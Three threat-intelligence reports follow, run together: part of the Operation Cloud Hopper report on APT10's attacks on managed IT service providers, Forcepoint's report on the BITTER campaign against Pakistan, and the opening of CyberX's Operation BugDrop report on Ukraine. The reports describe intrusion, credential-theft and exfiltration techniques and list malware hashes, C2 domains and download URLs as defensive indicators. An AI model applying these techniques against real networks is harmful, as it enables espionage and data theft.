This connection is highlighted in the infrastructure graph shown in Figure 11 below, where some ChChes C2 domains can be seen in the bottom left, while on the far right are the older APT10 domains referenced in previous reporting.
Figure 11: Infrastructure graph linking early PlugX domains to recent ChChes domains 14 Operation Cloud Hopper 14Operation Cloud Hopper Motivations behind APT10s targeting A short history of China-based hacking China-based threat actors have a long history of cyber espionage in the traditional political, military and defensive arena, as well as industrial espionage for economic gain.
Some of the most notable of these events from the past decade are shown below Figure 12:  Timeline of China-based hacking activity 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2006-13:  APT1 conducted a widespread cyber espionage campaign against hundreds of organisations spanning a number of sectors.
Most victims primarily conducted their business in English and had a nexus with Chinas strategic priorities.
2010:  Technology, financial and defence sectors were targeted by Operation Aurora, a campaign attributed to APT17/Aurora Panda.
The list of targets included Google, who suffered the loss of intellectual property and attempted access to the Gmail accounts of human rights activists.
2014:  The data of 4.5 million members of US-based healthcare organisation, Community Health Systems was potentially accessed during a breach attributed to APT18.
2010-12:  Between 2010 and 2012 organisations in the energy and material manufacturing sectors were targeted.
These included Westinghouse Electric, who had technical and design specifications for pipes, pipe supports and routing stolen in 2010.
Additionally, emails of senior decision-makers involved in the business relationship with a Chinese state-owned enterprise were taken.
In 2012, SolarWorld was compromised with attackers stealing sensitive business information relating to manufacturing metrics, and production line information and costs.
It is thought to have been targeted strategically at a time when Chinese manufacturers of solar products were seeking to enter the US market at below fair value prices.
2009:  The Night Dragon campaign involved covert cyber attacks on global oil, energy and petrochemical companies and individuals in Kazakhstan, Taiwan, Greece and the US.
The attackers used a number of vectors including social engineering and OS vulnerabilities to access proprietary operations and financial information 2009:  GhostNet is the alleged Chinese group responsible for running a global campaign starting in 2009 targeting foreign embassies and ministries, NGOs, news media institutions and Tibet-related organisations.
2013:  Operation Iron Tiger is an attack campaign attributed to APT31, in which US government contractors were targeted in the areas of technology, telecommunications, energy and manufacturing.
2009:  Three medical device makers (Medtronic, Boston Scientific, St. Jude Medical) were allegedly compromised by Chinese actors.
Although the motive is unclear, patient data was not thought to be stolen, making industrial espionage the most likely intention.
2014-15:  The personal data of over 20 million people was compromised from the US Office of Personnel Management and attributed to China-based actors.
This included Social Security numbers as well as security clearance and job applications for government positions.
2014-15:  Several healthcare firms were targeted  Anthem, Premera Blue Cross and CareFirst all suffered data breaches in 2015.
These were linked to APT19.
15Operation Cloud Hopper APT10 alignment with previous China-based hacking 10 https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf 11 https://www.pwccn.com/en/migration/pdf/govt-work-review-mar2016.pdf 12 http://www.pwccn.com/en/migration/pdf/prosperity-masses-2020.pdf Espionage attacks associated with China-based threat actors, as noted above, have traditionally targeted organisations that are of strategic value to Chinese businesses and where intellectual property obtained from such attacks could facilitate domestic growth or advancement.
There has been significant open source reporting which has documented the alignment between apparent information collection efforts of China-based threat actors and the strategic emerging industries documented in Chinas Five Year Plan (FYP).10 The 13th FYP was released in March 2016 and the sectors and organisations known to be targeted by APT10 are broadly in line with the strategic aims documented in this plan.
These aims outlined in the FYP will largely dictate the growth of businesses in China and are, therefore, likely to also form part of Chinese companies business strategies.
The latest FYP describes five principles which underpin Chinas goal of doubling its 2010 GDP by 2020.
At the forefront of these principles is innovation, largely focused around technological innovation, with China expected to invest 2.5 of GDP in research and development to attain technological advances, which are anticipated to contribute 60 towards economic growth objectives.11 The areas of innovation expected to receive extensive investment include, next-generation communications, new energy, new materials, aerospace, biological medicine and smart manufacturing.
In addition to the FYP principle of innovation, China is also promoting ten key industries in which it wants to improve innovation in manufacturing as part of the Made in China 2025 initiative.12 Observed APT10 targeting is in line with many of the historic compromises we have outlined previously as originating from China.
This targeting spans industries that align with Chinas 13th FYP which would provide valuable information to advance the domestic innovation goals held within China.
Given the broad spectrum of priority industries, the compromise of MSPs represents an efficient method of information collection.
This strategy also provides additional obfuscation for the actor as any data exfiltrated is taken back through the initial compromised companys systems, creating a much more difficult trail to follow.
Made in China 2025 industries Agricultural machinery Next generation information technology Numeric control tools and robotics Aerospace equipment Ocean engineering equipment and high-tech ships Railway equipment Energy saving and new energy vehicles Power equipment New materials Medicine and medical devices Figure 13: Industries of interest outlined by Made in China 2025 initiative 16 Operation Cloud Hopper Shining a light on APT10s methodology This section details changes made to APT10 tools, techniques and procedures (TTPs) post-2014, following its shift from Poison Ivy to PlugX.
These TTPs have been identified as part of our incident response and threat intelligence investigations and have been used in both of the recent campaigns we have encountered.
The examples provided in this section will be drawn from both of those campaigns.
Reconnaissance and targeting It is often difficult to identify the early stages of a threat actors preparation for an attack as these initial activities tend to occur below the line of visibility.
Our analysis of the most recently used decoy documents by APT10 in its spear phishing campaigns, which is the primary delivery method of its payloads, indicates the actor performs a significant level of research on its targets.
In line with commonly used APT actor methodologies, the threat actor aligns its decoy documents to a topic of interest relevant to the recipient.
In the example shown in Figure 14 to the right, an official document hosted on the Japan Society for the Promotion of Science website was weaponised and deployed as part of a spear phishing campaign against a Japanese target in the education sector.
Figure 14: Decoy document used by APT10 to target the Japanese education sector APT10 has been known to use research from their reconnaissance to obtain company email addresses, and then craft a message containing either a malicious attachment or a link to a malicious site.
1 2 3 4 5 6 MSP Ta rgeted MSP MSP customer MSP Targeted Data Customer u sed for exfiltrati o n AP T1 0 APT10 compromises Managed IT Service Providers MSP customers who align to APT10s targeting profile are accessed by the threat actor using the MSPs legitimate access Compressed files filled with stolen data are moved from the MSP customers network back onto the MSP network APT10 exfiltrates stolen data back through MSPs  to infrastructure controlled by the threat actor Data of interest to APT10 is accessed by the threat actor moving laterally through systems MSP customer data collected by APT and compressed, ready for exfiltration from the network 17Operation Cloud Hopper As part of the same campaign, we have also observed an email sent by APT10,13 referencing a Scientific Research Grant Program, and targeting various Japanese education institutes including Meiji University14  and Chuo University.15 The email included a zip file containing a link to download a payload from one of APT10s servers, the ChChes Powersploit exploit, detailed in Annex B.
Initial compromise and lateral movement Once on a target network, the actor rapidly deploys malware to establish a foothold, which may include one or more systems that provide sustained access to a victims network.
As APT10 works to gain further privileges and access, it also conducts internal reconnaissance, mapping out the network using common Windows tools, and in later stages of the compromise using open source pentesting tools, detailed in Annex B.
This reconnaissance is run in parallel with the actor ensuring that it has access to legitimate credentials.
We have observed that in cases where APT10 has infiltrated a target via an MSP, it continues to use the MSPs credentials.
In order to gain any further credentials, APT10 will usually deploy credential theft tools such as mimikatz or PwDump, sometimes using DLL load order hijacking, to use against a domain controller, explained further in Annex B.
Regular communications checks are then executed in order to maintain this level of access.
In most cases, these stolen MSP credentials have provided administrator or domain administrator privileges.
We have observed the threat actor copying malware over to systems in a compromised environment, which did not have 13 http://csirt.ninja/?p1103 14 http://www.meiji.ac.jp/isc/information/2016/6t5h7p00000mjbbr.html 15 http://www.chuo-u.ac.jp/research/rd/grant/news/2017/01/51783/ any outbound internet access.
In one of these instances, the threat actor spent more than an hour attempting to establish an outbound connection using PlugX until it realised that the host had no internet access, at which point the malware and all supporting files were deleted.
APT10 achieves persistence on its targets primarily by using scheduled tasks or Windows services in order to ensure the malware remains active regardless of system reboots.
APT10 heavily leverages the shared nature of client-side MSP infrastructure to move laterally between MSPs and other victims.
Systems that share access and thus credentials, from both a MSP and one of its clients serve as a way of hopping between the two.
Clie nt infrastructure MSP infrastructure Systems sharing credentials across the client and the MSP are of particular interest to APT10, and are commonly used by the threat actor in order to gain access to new areas of the network Figure 16: Client  MSP shared infrastructure 2009 2017201620142013 2009 Group first detected targeting Western defence companies 2014 Targets East Asian manufacturer and Japanese Public Policy organisations Q4 2014 Targets European organisations Q4 2016 Targets Japanese organisations Q1 2017 APT10 sustains targeting of European organisations August 2013 FireEye - Poison Ivy: Assessing damage and extracting intelligence March 2014 Trend Micro FireEye release reports on links between APT1 and APT10 Legend APT10 activity Other events Summary of APT10 activityFigure 15: Timeline of APT10 related activities 18 Operation Cloud Hopper APT10 simultaneously targets both low profile and high value systems to gain network persistence and a high level of access respectively.
For example, in addition to compromising high value domain controllers and security servers, the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business, and are thus less likely to draw the attention of system administrators.
As part of the long-term access to victim networks, we have observed APT10 consistently install updates and new malware on compromised systems.
In the majority of instances APT10 used either a reverse shell or RDP connection to install its malware the actor also uses these methods to propagate across the network.
Communication checks are usually conducted using native Windows tools such as ping.exe, net.exe and tcping.exe.
The actor will frequently net use to several machines within several seconds, connecting for as little as five seconds, before disconnecting.
Further details are provided in Annex B.
Network hopping and exfiltration Once APT10 have a foothold in victim networks, using either legitimate MSP or local domain credentials, or their sustained malware such as PlugX, RedLeaves or Quasar RAT, they will begin to identify systems of interest.
The operator will either access these systems over RDP, or browse folders using Remote Access Trojan (RAT) functionality, to identify data of interest.
This data is then staged for exfiltration in multi-part archives, often placed in the Recycle Bin, using either RAR or TAR.
The compression tools are often launched via a remote command execution script which is regularly named t.vbs and is a customised version of an open source WMI command executor which pipes the command output back to the operator.
We have observed these archives being moved outside of the victim networks, either back into to the MSP environments or to external IP addresses in two methods, which are also performed via the command line using t.vbs: 1.
Mounting the target external network share with net use and subsequently using the legitimate Robocopy tool to transfer the data and, 2.
Using the legitimate Putty Secure Copy Client (PSCP), sometimes named rundll32.exe, to transfer the data directly to the third party system.
Using these techniques, APT10 pushes data from victim networks to other networks they have access to, such as other MSP or victim networks, then, using similar methods, pulls the data from those networks to locations from which they can directly obtain it, such as the threat actors C2 servers.
APT10s ability to bridge networks can therefore be summarized as: Use of legitimate MSP credentials to management systems which bridge the MSP and multiple MSP customer networks Use of RDP to interactively access systems in both the MSP management network and MSP customer networks Use of t.vbs to execute command line tools and, Use of PSCP and Robocopy to transfer data.
APT10 malware We classify APT10s malware into two distinct areas: tactical and sustained.
The tactical malware, historically EvilGrab, and now ChChes (and likely also RedLeaves), is designed to be lightweight and disposable, often being delivered through spear phishing.
Once executed, tactical malware contains the capability to profile the network and manoeuvre through it to identify a key system of interest.
The sustained malware, historically Poison Ivy, PlugX and now Quasar provides a more comprehensive feature set.
Intended to be deployed on key systems, the sustained malware facilitates long-term remote access and allows for operators to more easily carry out administration tasks.
Since late 2016, we have seen the threat actor develop several bespoke malware families, such as ChChes and RedLeaves.
Additionally, it has taken the open source malware, Quasar, and extended its capabilities, ensuring the incrementation of the internal version number as it does so.
We have also observed APT10 use DLL search order hijacking and sideloading, to execute some modified versions of open-source tools.
For example, PwC UK has observed APT10 compiling DLLs out of tools, such as MimiKatz and PwDump6, and using legitimate, signed software, such as Windows Defender to load the malicious payloads.
In Annex B we provide detailed analysis of several of the threat actors tools as well as the common Windows tools we have observed being used.
19Operation Cloud Hopper Timeline Figure 17: Timeline of APT10 malware use 16 https://github.com/quasar/QuasarRAT 2009 2010 2011 2012 2013 2014 2015 2016 2017 Poison Ivy PlugX EvilGrab ChChes Quasar RedLeaves Retooling Efforts Alongside APT10s TTPs, we have observed a retooling cycle.
Given the pace of technological change and the wide range of freely available online tools and scripts, it is not unusual for an actor to re-evaluate its capabilities and to benchmark multiple offerings against each other.
We have observed a decline in the deployment of some of APT10s traditional core tool set, and witnessed an increase in the development and deployment of additional new tools which combine in-house development and open source projects.
We assess that this is highly likely due to the public release of APT10 malware by cyber security vendors.
Throughout our investigations, we have observed multiple deployments of the PlugX malware from 2014 to at least 2016.
This, along with the downturn in the use of Poison Ivy, supports the notion that a major retooling operation took place post 2014.
Additional analysis of the infrastructure associated with each distinct version of PlugX also shows an increase in maturity over time.
Earlier PlugX versions were configured with legacy domains and IP addresses, which were originally isolated and more obvious, whereas more recent versions have demonstrated a standardised convention for domain names and IP selection.
During our analysis of victim networks, we were able to observe APT10 once again initiate a retooling cycle in late 2016.
We observed the deployment and testing of multiple versions of Quasar malware,16 and the introduction of the bespoke malware families ChChes and RedLeaves.
We assess it is highly likely that due to the frequent public release of information linking PlugX with China-based threat actors, continual long-term use had become unsustainable, introducing an additional operational overhead that is easily attributable to China-based threat actors.
20 Operation Cloud Hopper Conclusion APT10 is a constantly evolving, highly persistent China-based threat actor that has an ambitious and unprecedented collection programme against a broad spectrum of sectors, enabled by its strategic targeting.
Since exposure of its operations in 2013, APT10 has made a number of significant changes intended to thwart detection of its campaigns.
PwC UK and BAE Systems, working closely with industry and government, have uncovered a new, unparallelled campaign which we refer to as Operation Cloud Hopper.
This operation has targeted managed IT service providers, the compromise of which provides APT10 with potential access to thousands of further victims.
An additional campaign has also been observed targeting Japanese entities.
APT10s malware toolbox shows a clear evolution from malware commonly associated with China-based threat actors towards bespoke in-house malware that has been used in more recent campaigns this is indicative of APT10s increasing sophistication, which is highly likely to continue.
The threat actors known working hours align to Chinese Standard Time (CST) and its targeting corresponds to that of other known China-based threat actors, which supports our assessment that these campaigns are conducted by APT10.
This campaign serves to highlight the importance of organisations having a comprehensive view of their threat profile, including that of their supply chains.
More broadly, it should also encourage organisations to fully assess the risk posed by their third party relationships, and prompt them to take appropriate steps to assure and manage these.
A detailed technical annex supplements this main report, which provides further information about the tools and techniques used by APT10 and contains Indicators of Compromise relating to all of this threat actors known campaigns.
These have already been provided to the National Cyber Security Centre for dissemination through their usual channels.
21Operation Cloud Hopper Appendices 22 Operation Cloud Hopper Appendix A Collaboration between PwC UK and BAE Systems PwC and BAE Systems respective Threat Intelligence teams share a mutual interest in new cyber threats.
PwC and BAE Systems partnered through their membership of the Cyber Incident Response (CIR) scheme to share intelligence and develop the most comprehensive picture possible of this threat actors activities.
Information sharing like this underpins the security research community and serves to aid remediation and inform decisions that companies make about their security needs.
Probabilistic language Interpretations of probabilistic language (for example, likely or almost certainly) vary widely, and to avoid misinterpretation we have used the following qualitative terms within this report when referring to the level of confidence we have in our assessments.
Unless otherwise stated, our assessments are not based on statistical analysis.
Qualitative term Associated probability range Remote or highly unlikely Less than 10 Improbable or unlikely 10-25 Realistic probability 26-50 Probable or likely 51-75 Highly probable or highly likely 76-90 Almost certain More than 90 Table 4: Probabilistic language 23Operation Cloud Hopper Appendix B PwC UK reporting PwC UK Threat Intelligence has previously published a range of APT10 related reporting, both in the public domain and via our subscription service.
These reports are as follows: APT10 resumes operations with a vengeance, in Threats Under the Spotlight  CTO-TUS-20170321-01A NetEaseX and the Secret Key to Lisboa  CTO-TIB- 20170313-01A  BlackDLL APT10s .NET Foray  CTO-TIB-20170301-01B  Quasar APT10 pauses for Chinese New Year, in Threats Under the Spotlight  CTO-TUS-20170220-01A CVNXs sting in the tail  CTO-TIB-20170123-01A ChChes (Scorpion) Malware China and Japan: APT to dispute -CTO-SIB-20170119- 01A Taiwan Presidential Election: A Case Study on Thematic Targeting, http://pwc.blogs.com/cyber_ security_updates/2016/03/taiwant-election-targetting.
html, published 2016-03-17.
Overview of EvilGrab and it being used against Asian targets, specifically around the 2016 Taiwanese election Scanbox II  CTO-TIB-20150223-01A IST-Red Apollo-002  Red Apollo Tearsheet Third party reports A number of organisations have also published related reporting, as follows: RedLeaves  Malware Based on Open Source RAT http://blog.jpcert.or.jp/2017/04/redleaves---malware- based-on-open-source-rat.html  Further technical reporting on RedLeaves, revealing links to an open source RAT.
The relevance between the attacker group menuPass and malware (Poison Ivy, PlugX, ChChes), https:// www.lac.co.jp/lacwatch/people/20170223_001224.html, published 2017-02-23.
Links APT10 to ChChes, Poison Ivy and PlugX.
menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations, http://researchcenter.paloaltonetworks.
com/2017/02/unit42-menupass-returns-new-malware- new-attacks-japanese-academics-organizations/, published 2017-02-16.
APT10 attacks on Japanese academics.
Includes info on ChChes (technical), Poison Ivy and PlugX.
ChChes  Malware that Communicates with CC Servers Using Cookie Headers, http://blog.jpcert.or.
jp/2017/02/chches-malware--93d6.html, published 2017-02-15.
Technical overview of ChChes malware with IOCs.
PlugX TrendMicro tearsheet, https://www.
trendmicro.com/vinfo/us/threat-encyclopedia/malware/ plugx, published 2016-09-07.
Technical info and IOCs for PlugX.
A Detailed Examination of the Siesta Campaign, https://www.fireeye.com/blog/ threat-research/2014/03/a-detailed-examination-of-the- siesta-campaign.html, published 2014-03-12.
Provides a detailed analysis of activity dubbed the Siesta campaign.
POISON IVY: Assessing Damage and Extracting Intelligence, https://www.fireeye.com/content/dam/ fireeye-www/global/en/current-threats/pdfs/rpt-poison- ivy.pdf, published 2013-08-21.
Technical report on Poison Ivy and campaigns that have used it, including menuPass.
EvilGrab Malware Family Used In Targeted Attacks In Asia, http://blog.trendmicro.com/trendlabs-security- intelligence/evilgrab-malware-family-used-in-targeted- attacks-in-asia/, published 2013-09-18.
Technical overview of EvilGrab.
CrowdCasts Monthly: You Have an Adversary Problem, https://www.slideshare.net/CrowdStrike/crowd-casts- monthly-you-have-an-adversary-problem, published 2013-10-16, a presentation on Chinese actors including APT, crime and hacktivist.
Includes section on Stone Panda (APT10).
PlugX: New Tool For a Not So New Campaign, http:// blog.trendmicro.com/trendlabs-security-intelligence/ plugx-new-tool-for-a-not-so-new-campaign/, published 2012-09-10.
Gives an introduction to PlugX.
Pulling the Plug on PlugX, https://www.trendmicro.
com/vinfo/us/threat-encyclopedia/web-attack/112/ pulling-the-plug-on-plugx, published 2012-08-04.
Gives a technical overview of PlugX and what it is used for.
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BITTER: A Targeted Attack Against Pakistan blogs.forcepoint.com /security-labs/bitter-targeted-attack-against-pakistan Introduction Forcepoint Security Labs recently encountered a strain of attacks that appear to target Pakistani nationals.
We named the attack BITTER based on the network communication header used by the latest variant of remote access tool (RAT) used: Our investigation indicates that the campaign has existed since at least November 2013 but has remained active until today.
This post intends to share the results of our research.
Infection Vector Spear-phishing emails are used to target prospective BITTER victims.
The campaign predominantly used the older, relatively popular Microsoft Office exploit, CVE-2012-0158, in order to download and execute a RAT binary from a website.
Below is an example of a spear-phishing email they used earlier this month.
The recipient is an individual from a government branch in Pakistan, while the sender purports to be coming from another government branch of Pakistan: 1/13 https://blogs.forcepoint.com/security-labs/bitter-targeted-attack-against-pakistan http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2012-0158 Other attachment filenames they used that also contained the CVE-2012-0158 exploit are as follows: Requirement List.doc Cyber Espionage Prevention.doc New email guidelines.doc Gazala-ke-haseen-nagme.doc Rules.xls In one instance, they used a RAR SFX dropper that drops both their RAT and a picture of a Pakistani woman as a decoy.
A quick Google image search on the dropped picture indicates that the picture was grabbed from Pakistani dating sites.
RAT Component BITTER used RATs that are compiled using Microsoft Visual C 8.0.
They use a few iterations of their RAT with the main difference being the RATs command and control (C2) communication method.
Earlier variants communicated to its C2 via an unencrypted HTTP POST.
Below is an example of an older variants phone home request: 2/13 Newer ones, on the other hand, use encrypted TCP connection such as the one shown in the introduction above.
Both older and newer variants are used simultaneously today in the campaign.
The RAT version (SHA1 d7a770233848f42c5e1d5f4b88472f7cb12d5f3d) that they used in their latest campaign is capable of executing the following backdoor capabilities, essentially allowing the attackers to gain full remote control over a victims PC: Get system information - computer name, current user name, and operating system Enumerate logical drives Enumerate and log files and their corresponding timestamps Open a remote command shell List processes with active UDP connections Manipulate running processes Manipulate files Download a file In addition, the vast majority of their RAT binaries contained the following digital signature with a non-trusted CA Root certificate: 3/13 The following table shows the timeline of appearance of BITTER RATs, based on their compilation timestamps, along with their embedded PDB paths: 4/13 It is important to note that some of these RATs are distributed at a later time than their compilation date.
Command and Control BITTER used free dynamic DNS (DDNS) and dedicated server hosting services in order to set up their C2s.
The download site where the exploit documents download the RAT binaries are, in most cases, different from the actual RAT C2.
However, both of them are typically registered using a Gmail email address and a spoofed identity purporting to be either from United Kingdom or Great Britain.
Below is an example of a spoofed registrant information for the C2, spiralbook71[.
]com: 5/13 A list of all related malicious domains we managed to collect are as follows: The email address witribehelpgmail.com points to an empty Google Plus profile with the name WhatsApp Support.
Interestingly, however, the account is connected to another Google Plus account with the handle Love Pakistan: 6/13 Intent While cyber-espionage is a common motivation for targeted attacks, this is often hard to conclude unless a forensic investigation is conducted on the actual victims machines.
In some cases, specific capabilities in RATs provides us with clues on what the attackers true intents are.
One of the backdoor capabilities mentioned above is the logging of files and files time stamps from the victims machine.
Furthermore, an older variant of their RAT from 2014 that has the SHA1 3ab4ce4b3a44c96d6c454efcece774b33335dda2 are found to look for more specific file types.
After identifying the logical drives from a victim PC, this RAT variant proceeds to enumerate files and check if they match any of the hard coded document and archive file extensions below: 7/13 While it is hard to conclude based only on these artifacts, the nature of these targeted file types suggests that the attackers may be after sensitive documents.
Other Tools Used In December 2015 one of the campaigns download sites hosted a binary at scholars90[.
]website/putty.
The downloaded file is a free SSH and Telnet client application called PuTTY, which has been used in the past in other targeted attacks.
In addition, the same RAT variant previously mentioned (SHA1 3ab4ce4b3a44c96d6c454efcece774b33335dda2) connects to the C2 info2t[.
]com/m2s.php.
This has also served as a C2 for at least two AndroRAT variants in the past.
The following diagram shows these relationships: 8/13 AndroRAT is an open source remote administration tool for Android.
Its GitHub repository lists the following capabilities: Get contacts (and all theirs informations) Get call logs Get all messages Location by GPS/Network Monitoring received messages in live Monitoring phone state in live (call received, call sent, call missed..) Take a picture from the camera Stream sound from microphone (or other sources..) Streaming video (for activity based client only) 9/13 Do a toast Send a text message Give call Open an URL in the default browser Do vibrate the phone The AndroRAT variant with SHA1 7d47ae3114f08ecf7fb473b7f5571d70cf2556da disguises itself as the Islam Adhan Alarm - an Android app that alerts to prayer times of Islam, which is the state religion of Pakistan.
The variant with SHA1 645a6e53116f1fd7ece91549172480c0c78df0f, on the other hand, disguises itself as Kashmir News app.
Kashmir is the northernmost geographical region of South Asia and is a disputed territory between India and Pakistan.
Protection Statement Stage 2 (Lure) - Spear-phishing e-mails associated with this attack are identified and blocked.
Stage 5 (Dropper File) - Related RATs are prevented from being downloaded.
Stage 6 (Call Home) - Communication between the RAT and command and control are blocked.
Conclusion Many targeted attacks continue to be discovered today.
It is interesting to see that while these attacks are not always sophisticated in nature, the same characteristic allows them to stay under the radar by blending in with common attacks in the wild.
BITTER is able to achieve this by using available online services such as free DDNS, dedicated server hosting and Gmail to setup their C2s.
Such setup is exhibited by todays common malware.
It is worth noting that in all the artifacts collected in this research, none of the English words that were used had spelling errors, suggesting that the actors behind BITTER are proficient in the English language.
Furthermore, as discussed above, all the artifacts we have seen are consistent with Pakistan being the target of this group.
There may be other targets that have not been discovered yet or BITTER may be a branch of a larger 10/13 campaign with broader targets, but only time will tell whether any of these are correct.
Indicators of Compromise RAT (SHA1) 42cdfe465ed996c546c215a8e994a82fea7dc24c 3ab4ce4b3a44c96d6c454efcece774b33335dda2 1990fa48702c52688ce6da05b714a1b3e634db76 93e98e9c4cf7964ea4e7a559cdd2720afb26f7f7 c3a39dc22991fcf2455b8b6b479eda3009d6d0fd 37e59c1b32684cedb341584387ab75990749bde7 52485ae219d64daad6380abdc5f48678d2fbdb54 137a7dc1c33dc04e4f00714c074f35c520f7bb97 e57c88b302d39f4b1da33c6b781557fed5b8cece 0172526faf5d0c72122febd2fb96e2a01ef0eff8 e7e0ba30878de73597a51637f52e20dc94ae671d fa8c800224786bab5a436b46acd2c223edda230e c75b46b50b78e25e09485556acd2e9862dce3890 72fa5250069639b6ac4f3477b85f59a24c603723 f898794563fa2ae31218e0bb8670e08b246979c9 2b873878b4cfbe0aeab32aff8890b2e6ceed1804 d7a770233848f42c5e1d5f4b88472f7cb12d5f3d ddf5bb366c810e4d524833dcd219599380c86e7a 23b28275887c7757fa1d024df3bd7484753bba37 6caae6853d88fc35cc150e1793fef5420ff311c6 1a2ec73fa90d800056516a8bdb0cc4da76f82ade ff73d3c649703f11d095bb92c956fe52c1bf5589 RAT Dropper (SHA1) c0fcf4fcfd024467aed379b07166f2f7c86c3200 0116b053d8ed6d864f83351f306876c47ad1e227 4be6e7e7fb651c51181949cc1a2d20f61708371a 998d401edba7a9509546511981f8cd4bff5bc098 21ef1f7df01a568014a92c1f8b41c33d7b62cb40 c77b8de689caee312a29d30094be72b18eca778d AndroRAT (SHA1) 11/13 7d47ae3114f08ecf7fb473b7f5571d70cf2556da 645a6e53116f1fd7ece91549172480c0c78df0f RAT download sites kart90.website/sysdll range7.com/svcf.exe scholars90.website/ifxc scholars90.website/ifxc scholars90.website/cnhost.exe kart90.website/cnhost frontier89.website/wmiserve reloadguide71.com/winter/iofs creed90.com/ismr wester.website/uwe chinatel90.com/min wester.website/nqw scholars90.website/splsrv RAT C2s 12/13 ranadey.net78.net/Muzic/exist.php info2t.com range7.com/m2s_reply_u2.php www.queryz4u.com www.sportszone71.com/games/hill.php micronet.no-ip.co.uk www.inspire71.com/warzone/hill.php spiralbook71.com/warzone/hill.php govsite.ddns.net randomvalue90.com/warzone/hill.php marvel89.com/ahead.php cloudupdates.servehttp.com pickup.ddns.net marvel89.com/msuds.php updateservice.redirectme.net pickup.ddns.net destiny91.com/truen/adfsdsqw.php medzone71.com/medal/adfsdsqw.php nexster91.com/winter/war.php 13/13 BITTER: A Targeted Attack Against Pakistan Introduction Infection Vector RAT Component Command and Control Intent Other Tools Used Protection Statement Conclusion Indicators of Compromise RAT (SHA1) RAT Dropper (SHA1) AndroRAT(SHA1) RAT download sites RAT C2s
By Phil Neray 2/15/2017 Operation BugDrop: CyberX Discovers Large-Scale Cyber- Reconnaissance Operation Targeting Ukrainian Organizations cyberx-labs.com/en/blog/operation-bugdrop-cyberx-discovers-large-scale-cyber-reconnaissance-operation/ CyberX has discovered a new, large-scale cyber-reconnaissance operation targeting a broad range of targets in the Ukraine.
Because it eavesdrops on sensitive conversations by remotely controlling PC microphones  in order to surreptitiously bug its targets  and uses Dropbox to store exfiltrated data, CyberX has named it Operation BugDrop.
Operation BugDrop: Targets CyberX has confirmed at least 70 victims successfully targeted by the operation in a range of sectors including critical infrastructure, media, and scientific research.
The operation seeks to capture a range of sensitive information from its targets including audio recordings of conversations, screen shots, documents and passwords.
Unlike video recordings, which are often blocked by users simply placing tape over the camera lens, it is virtually impossible to block your computers microphone without physically accessing and disabling the PC hardware.
Most of the targets are located in the Ukraine, but there are also targets in Russia and a smaller number of targets in Saudi Arabia and Austria.
Many targets are located in the self-declared separatist states of Donetsk and Luhansk, which have been classified as terrorist organizations by the Ukrainian government.
Examples of Operation BugDrop targets identified by CyberX so far include: A company that designs remote monitoring systems for oil  gas pipeline infrastructures.
An international organization that monitors human rights, counter-terrorism and cyberattacks on critical infrastructure in the Ukraine.
An engineering company that designs electrical substations, gas distribution pipelines, and water supply plants.
A scientific research institute.
Editors of Ukrainian newspapers.
Operation BugDrop is a well-organized operation that employs sophisticated malware and appears to be backed by an organization with substantial resources.
In particular, the operation requires a massive back-end infrastructure to store, decrypt and analyze several GB per day of unstructured data that is being captured from its targets.
A large team of human analysts is also required to manually sort through captured data and process it manually and/or with Big Data-like analytics.
Initially, CyberX saw similarities between Operation BugDrop and a previous cyber-surveillance operation discovered by ESET in May 2016 called Operation Groundbait.
However, despite some similarities in the Tactics, Techniques, and Procedures (TTPs) used by the hackers in both operations, Operation BugDrops TTPs are 1/11 https://cyberx-labs.com/en/blog/operation-bugdrop-cyberx-discovers-large-scale-cyber-reconnaissance-operation/ http://www.welivesecurity.com/2016/05/18/groundbait/ significantly more sophisticated than those used in the earlier operation.
For example, it uses: Dropbox for data exfiltration, a clever approach because Dropbox traffic is typically not blocked or monitored by corporate firewalls.
Reflective DLL Injection, an advanced technique for injecting malware that was also used by BlackEnergy in the Ukrainian grid attacks and by Duqu in the Stuxnet attacks on Iranian nuclear facilities.
Reflective DLL Injection loads malicious code without calling the normal Windows API calls, thereby bypassing security verification of the code before its gets loaded into memory.
Encrypted DLLs, thereby avoiding detection by common anti-virus and sandboxing systems because theyre unable to analyze encrypted files.
Legitimate free web hosting sites for its command-and-control infrastructure.
CC servers are a potential pitfall for attackers as investigators can often identify attackers using registration details for the CC server obtained via freely-available tools such as whois and PassiveTotal.
Free web hosting sites, on the other hand, require little or no registration information.
Operation BugDrop uses a free web hosting site to store the core malware module that gets downloaded to infected victims.
In comparison, the Groundbait attackers registered and paid for their own malicious domains and IP addressees.
Operation BugDrop infects its victims using targeted email phishing attacks and malicious macros embedded in Microsoft Office attachments.
It also uses clever social engineering to trick users into enabling macros if they arent already enabled.
How CyberX Investigated Operation BugDrop CyberXs Threat Intelligence Research team initially discovered Operation BugDrop malware in the wild.
The team then reverse-engineered the code to analyze its various components (decoy documents used in phishing attacks, droppers, main module, microphone module, etc.)
and how the malware communicates with its CC servers.
The team also needed to reverse-engineer exactly how the malware generates its encryption keys.
Distribution of Targets by Geography 2/11 https://attack.mitre.org/wiki/Technique/T1055 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_luckycat_hackers.pdf https://www.whois.net/ https://www.passivetotal.org/ Compilation Dates The modules were compiled about a month after ESET announced the existence of Operation Groundbait.
If the two operations are indeed related, this might indicate the group decided it needed to change its TTPs to avoid detection.
Technical Details 3/11 High-level view of malware architecture 1.
Infection Method Users are targeted via specially crafted phishing emails and prompted to open a Microsoft Word decoy document containing malicious macros.
If macros are disabled, users are presented with a dialog box (below) prompting them to enable macros.
The dialog box is well designed and appears to be an authentic Microsoft Office message.
4/11 Russian text in dialog box: Office.
This is translated as: Attention The file was created in a newer version of Microsoft Office programs.
You must enable macros to correctly display the contents of a document.
Based on the document metadata, the language in which the list is written is Ukrainian, but the original language of the document is Russian.
The creator of the decoy document creator is named Siada.
Last modified date is 2016-12-22 10:37:00 5/11 The document itself (below) shows a list of military personnel with personal details such as birthdate and address: Decoy document with personal information about military personnel 2.
Main Downloader The main downloader is extracted from the decoy document via a malicious VB script that runs it from the temp folder.
The downloader has low detection rates (detected by only 4 out of 54 AV products).
3.
Dropper  Stage 0 The icon for the downloader EXE was copied from a Russian social media site (http://sevastopol.su/world.php?id90195).
The icon itself is a meme that jokes about Ukrainians (http://s017.radikal.ru/i424/1609/83/0c3a23de7967.jpg).
